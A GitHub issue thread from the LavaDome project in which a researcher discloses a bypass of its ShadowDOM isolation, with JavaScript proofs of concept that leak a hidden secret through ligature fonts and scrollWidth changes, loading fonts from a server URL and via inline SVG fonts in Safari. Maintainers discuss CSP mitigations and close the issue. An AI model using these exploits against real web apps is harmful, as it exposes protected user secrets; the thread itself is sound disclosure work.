LavaMoat / LavaDome

Secure DOM trees isolation and encapsulation leveraging ShadowDOM
https://lavamoat.github.io/LavaDome/packages/core/demo/
MIT License
14 stars 3 forks source link

LavaDome bypass via font ligatures #40

Closed masatokinugawa closed 11 hours ago

masatokinugawa commented 2 months ago

By creating ligature fonts having large width, applying it to the secret and detecting the change of the scrollWidth property, the secret can be leaked. The basic idea comes from https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/ by @securityMB.

const defaultWidth = document.body.scrollWidth;
const secretChars = "0123456789abcdef";
let index = 0;
let foundChars = "";
const style = document.createElement('style');
document.body.appendChild(style);
style.innerHTML = `#PRIVATE {
  font-size:0;
  width:0;
  word-wrap: break-word
}
#PRIVATE::first-line {
  font-family:hack;
  font-size:100px
}`;
document.fonts.addEventListener("loadingdone", (event) => {
  if (defaultWidth < document.body.scrollWidth) {
    foundChars += secretChars[index];
    console.log(`Found: ${foundChars}`);
    index = 0;
  } else {
    index++;
  }
  document.fonts.delete(event.fontfaces[0]);
  if (foundChars.length === 32) {
    alert(foundChars);
  } else {
    loadFont(`${foundChars}${secretChars[index]}`);
  }

});
const loadFont = target => {
  const font = new FontFace("hack", `url(http://localhost:3000/?target=${target})`);
  document.fonts.add(font);
};
loadFont(secretChars[index]);
weizman commented 2 months ago

First of all, truly amazing (hats off @securityMB).

Can you help me understand something - is the fetching of a font required to be external AFAYU? Or would this work similarly by forming the font on the client side without having to reach out to external servers?

Understanding this will help me determine the criticality level of this attack and what requirements must be met for attackers to succeed (a need to communicate with a server and load fonts is more likely to meet limitations such as network-CSP than a local-only attack)

Thanks again for toying around with LavaDome @masatokinugawa!

securityMB commented 2 months ago

Drive-by comment: I think it theoretically should be possible to create the font client-side.

Masato used https://www.npmjs.com/package/svg2ttf in the proof-of-concept and if this library can also work in the client-side JS, then this attack should work without having to contact any server.

That said, I think you can still contain the attack with CSP since with local attacks you would probably still need either data: or blob: URLs to be able to load the font.

weizman commented 2 months ago

Exactly what I was thinking, just wanted to make sure my intuition was correct. Thank you.

So with proper font-src CSP configuration it should be very straight forward to mitigate this vector - would you agree?

weizman commented 2 months ago

Because honestly, I think setting up a well-thought font-src directive is a very fair requirement from products that are willing to adopt LavaDome into their apps. If adding this requirement into the README under usage will be the mitigating force of LavaDome, this might be the course of action we will chose to take.

masatokinugawa commented 2 months ago

Unlike other modern browsers, Safari supports SVG fonts. This allows using Michał's trick with SVG only, without converting fonts to TTF, WOFF, etc.: https://mksben.l0.cm/2021/11/css-exfiltration-svg-font.html

Or would this work similarly by forming the font on the client side without having to reach out to external servers?

In the case of SVG fonts, all font components can be defined by putting them to HTML directly, so there is no need to fetch external URLs. Therefore, using Safari + SVG fonts, it still should work even if the strict CSP font-src is configured.

weizman commented 1 week ago

UPDATE: never mind, this seems to still work...

Say @masatokinugawa , any chance Safari dropped support for SVG font-face?

  1. According to MDN, font-face support via SVG dropped at Safari version 16.4
  2. According to Wikipedia, Safari 16+ was introduced in 2022
  3. Your research is from 2021, so before this was dropped

Am I missing something?

Because if they did, this will save me a lot of trouble

weizman commented 1 week ago

One more question, if I may @masatokinugawa,

Trying to study your research - is it true to assume, that while forming fonts in Safari does not require external connection (thanks to SVG), this isn't the case for the part where the secret is being leaked, in which external communication is necessary - right?

In other words - using this SVG technique in Safari will only work by leaking each char to a remote server, and there's no way to access this leakage in the client without needing a remote server, if I understand correctly.

And if so, if I manage to implement strict network CSP to my app which successfully enforces a whitelist of domains it can communicate with, this should mitigate your SVG attack - is this right in your opinion?

I'm saying this because it seems from your research that the leakage of the secret happens using background: url, correct?

So for example, would you agree that Content-Security-Policy: default-src: "self" is enough to block this attack?

masatokinugawa commented 1 week ago

In my blog article, I assume that an attacker can only inject CSS and can't execute JS. That is the reason why I used image requests for the leak. In situations where an attacker can execute JS, they don't need to use images, just look at the scrollWidth property as I did in the PoC above. Therefore, even if strict CSP is used, the leakage is still possible. Although I haven't been able to create a working SVG font PoC for LavaDome yet because Safari does not apply the ::first-line properly, at least I confirmed that the ligature is actually created and the scrollWidth is changed, so all we need to do should be adjust the PoC for Safari.

weizman commented 4 days ago

I think I understand your PoC and general approach better now @masatokinugawa. I think I made some progress on your idea with SVG instead of font against Safari, where I manage to successfully capture only a single char but not the rest. I can see why first-line would've completed the bypass for you, but I too can't seem to make it work in Safari.

Any ideas on how to continue this? Couldn't find any other pseudo elements/classes to use here instead.

setTimeout(() => {
    const container = document.body.appendChild(document.createElement('div'));
    const defaultWidth = document.body.scrollWidth;
    const secretChars = "0123456789abcdef";
    let index = 0;
    let foundChars = "";
    const style = document.createElement('style');
    document.body.appendChild(style);
    style.innerHTML = `#PRIVATE {
  font-size:0;
  width:0;
  word-wrap: break-word
}
#PRIVATE:is(*) {
  font-family:hack;
  font-size:100px
}`;
    const xxx = () => {
        if (defaultWidth < document.body.scrollWidth) {
            foundChars += secretChars[index];
            console.log(`Found: ${foundChars}`);
            index = 0;
        } else {
            index++;
        }
        if (foundChars.length === 32) {
            alert(foundChars);
        } else {
            loadFont(`${foundChars}${secretChars[index]}`);
        }

    };

    const loadFont = target => {
        setTimeout(xxx, 1000);
        console.log('load font:', target);
        container.innerHTML = `
        <svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
<glyph unicode="${escape(target)}" horiz-adv-x="99999" d="M1 0z"/>;
</font>
</defs>
</svg>`;
    };
    loadFont(secretChars[index]);
}, 3000);
weizman commented 1 day ago

Since #47 is merged, the responsibility to mitigate this attack surface officially shifts to the developer since it requires CSP.

That leaves us with Safari only, where CSP can be bypassed using SVG fonts instead (theoretically).

(Removing chrome & firefox labels)

masatokinugawa commented 1 day ago

The reason why the SVG font leak doesn't work well seems to be because Safari doesn't create ligatures when elements are separated. e.g.:

<!-- Safari can create "AB" ligature -->
<span>AB</span>

<!-- In this case, can't -->
<span>A</span><span>B</span>

I haven't found a way to leak all characters well yet. The browser's behavior with regards to ligatures seems quite inconsistent :(

weizman commented 14 hours ago

I salute your effort and willingness to help either way @masatokinugawa, thanks for your research, you helped significantly making LavaDome safer 🫡

weizman commented 11 hours ago

I'm closing this for now, not because this vector is impossible, but because I prefer to only leave issues open when they indicate a practical way to perform a bypass, as opposed to theoretical only.